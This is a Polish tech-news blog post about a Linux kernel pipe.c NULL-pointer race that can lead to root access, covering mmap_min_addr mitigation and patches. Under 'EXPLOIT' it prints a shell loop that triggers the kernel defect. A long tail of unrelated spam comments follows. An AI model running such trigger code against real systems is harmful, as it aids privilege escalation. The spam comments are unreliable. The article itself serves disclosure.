Luka w jądrze Linux pozwala wykonać kod jako administrator.
Okazuje się, że zawarta w kodzie kernela Linux usterka pozwalająca sprowokować wystąpienie błędu dereferencji wskaźnika pustego może zostać wykorzystana do przejęcia systemowych uprawnień administratora.
Choć na liście mailingowej poświęconej jądru Linux pierwszą oficjalną informację na temat błędu zgłosił 14 października Earl Chew, to prawo do miana znalazcy usterki rości sobie stojący za projektem grsecurity programista Brad Spengler. W wywiadzie dla brytyjskich mediów Spengler powiedział, że przed dwoma tygodniami miał już nawet gotowy exploit. Zresztą jest on również autorem exploitów dla wykrytych wcześniej błędów dereferencji wskaźnika zerowego w jądrze Linux.
Kiedy heise Security skontaktowało się z Bradem Spenglerem, ten oświadczył, że przypuszczalnie jeszcze dziś opublikuje exploit wykorzystujący opisywaną usterkę.
Problem
Zgodnie z wydanym przez programistów komunikatem usterka tkwi w komponencie odpowiedzialnym za obsługę łączy komunikacyjnych w pliku pipe.c i ujawnia się podczas korzystania z funkcji pipe_read_open(), pipe_write_open() i pipe_rdwr_open(). Błąd może wystąpić w przypadku przedwczesnego zainicjowania elementu mutex (mutual exclusion). Mamy tu zatem klasyczną sytuację wyścigu (race condition).
Obejście
Podobnie jak w przypadku wcześniejszych błędów polegających na dereferencji wskaźnika pustego w jądrze Linux, także najnowszą usterkę daje się wykorzystać tylko w sytuacji, gdy systemowa zmienna mmap_min_addr jest ustawiona na 0. Zmienna mmap_min_addr określa najniższy adres wirtualny, na który danemu procesowi wolno mapować. Jeśli jej wartość jest większa niż 0, wówczas nie zadziałają exploity bazujące na dereferencji pustego wskaźnika. Niestety, przestają wtedy działać również niektóre opensource’owe aplikacje, takie jak choćby Wine czy dosemu, więc wielu dystrybutorów (m.in. Red Hat i Debian) ustawia tę wartość domyślnie na 0.
Rozwiązanie
Lukę zamknięto na razie tylko w wydaniu Release Candidate 6 przyszłej edycji oznaczonej numerem 2.6.32.
Red Hat opublikował już uaktualnione pakiety, które eliminują usterkę. Z kolei Debian przygotował specjalny instruktaż ukazujący sposób zmiany wartości zmiennej. W Ubuntu zmienna mmap_min_addr jest ustawiona na 65535, co uniemożliwia działanie exploitów.
EXPLOIT:
while : ; do
{ echo y ; sleep 1 ; } | { while read ; do echo z$REPLY; done ; } &
PID=$!
OUT=$(ps -efl | grep 'sleep 1′ | grep -v grep |
{ read PID REST ; echo $PID; } )
OUT=”${OUT%% *}”
DELAY=$((RANDOM * 1000 / 32768))
usleep $((DELAY * 1000 + RANDOM % 1000 ))
echo n > /proc/$OUT/fd/1 # Trigger defect
done
Źródło: heise-online.pl i securityfocus.com
Komentarz admina:
Większość dystrybucji ma domyślnie ustawione mmap_min_addr > 0 więc exploit i tak nie zadziała.
W Ubuntu ta zmienna jest domyslnie na 0 ustawiona ;/
$ sysctl vm.mmap_min_addr
vm.mmap_min_addr = 0
Sprawdzalem na 9.04.
If you would like to increase your experience only keep visiting this web
page and be updated with the most recent gossip posted here.
Nice post. I was checking constantly this blog and I’m impressed!
Very useful info particularly the last part :) I care for
such information a lot. I was seeking this certain information for a very long time.
Thanks and good luck.
Do you mind if I quote a few of your posts as long
as I provide credit and sources back to your blog?
My website is in the very same niche as yours and my users would genuinely
benefit from a lot of the information you provide here.
Please let me know if this okay with you. Regards!
Hi, Neat post. There’s a problem together with your site in internet explorer,
would check this? IE nonetheless is the marketplace leader and a huge element of other folks will miss your fantastic writing due to this problem.
you’re really a good webmaster. The site loading velocity is incredible.
It sort of feels that you are doing any unique trick.
In addition, The contents are masterwork. you have done a magnificent job in this subject!
I always spent my half an hour to read this weblog’s content daily along with a cup of coffee.
Bekil kupil *982 klodzko.linux.pl D7
Doplo kilot *111 klodzko.linux.pl wP
I am truly grateful to the holder of this website who has
shared this impressive paragraph at at this place.
WOW just what I was looking for. Came here by searching for
Brad Spengler
Doplo kilot *111 klodzko.linux.pl Ev
It’s going to be finish of mine day, however before ending I
am reading this wonderful paragraph to increase my
know-how.
Asking questions are really fastidious thing if you are not understanding
something totally, except this paragraph gives nice understanding yet.
Doplo kilot *111 klodzko.linux.pl Iv
I was curious if you ever thought of changing the layout of your blog?
Its very well written; I love what youve got to
say. But maybe you could a little more in the way of content so people could connect with it better.
Youve got an awful lot of text for only having one or two pictures.
Maybe you could space it out better?
Doplo kilot *111 klodzko.linux.pl Lu
Bekil kupil *982 klodzko.linux.pl pO
たとえばテレビ番組やアニメの一部を切り抜いた動画は、著作権法に違反しています。
Discovering budget-friendly Car Insurance in Las Vegas Nevada may be daunting, yet there are
actually a lot of sources to help. A lot of
residents transform to online tools to review Car Insurance in Las Vegas Nevada as well as find
the most ideal costs. Some suppliers of Car Insurance in Las Vegas Nevada provide one-of-a-kind advantages, like kerbside help or even collision forgiveness.
It’s consistently an excellent concept to check what price cuts you might get approved for when purchasing Car Insurance in Las Vegas
Nevada.
Bekil kupil *982 klodzko.linux.pl 0D
Bekil kupil *982 klodzko.linux.pl Kd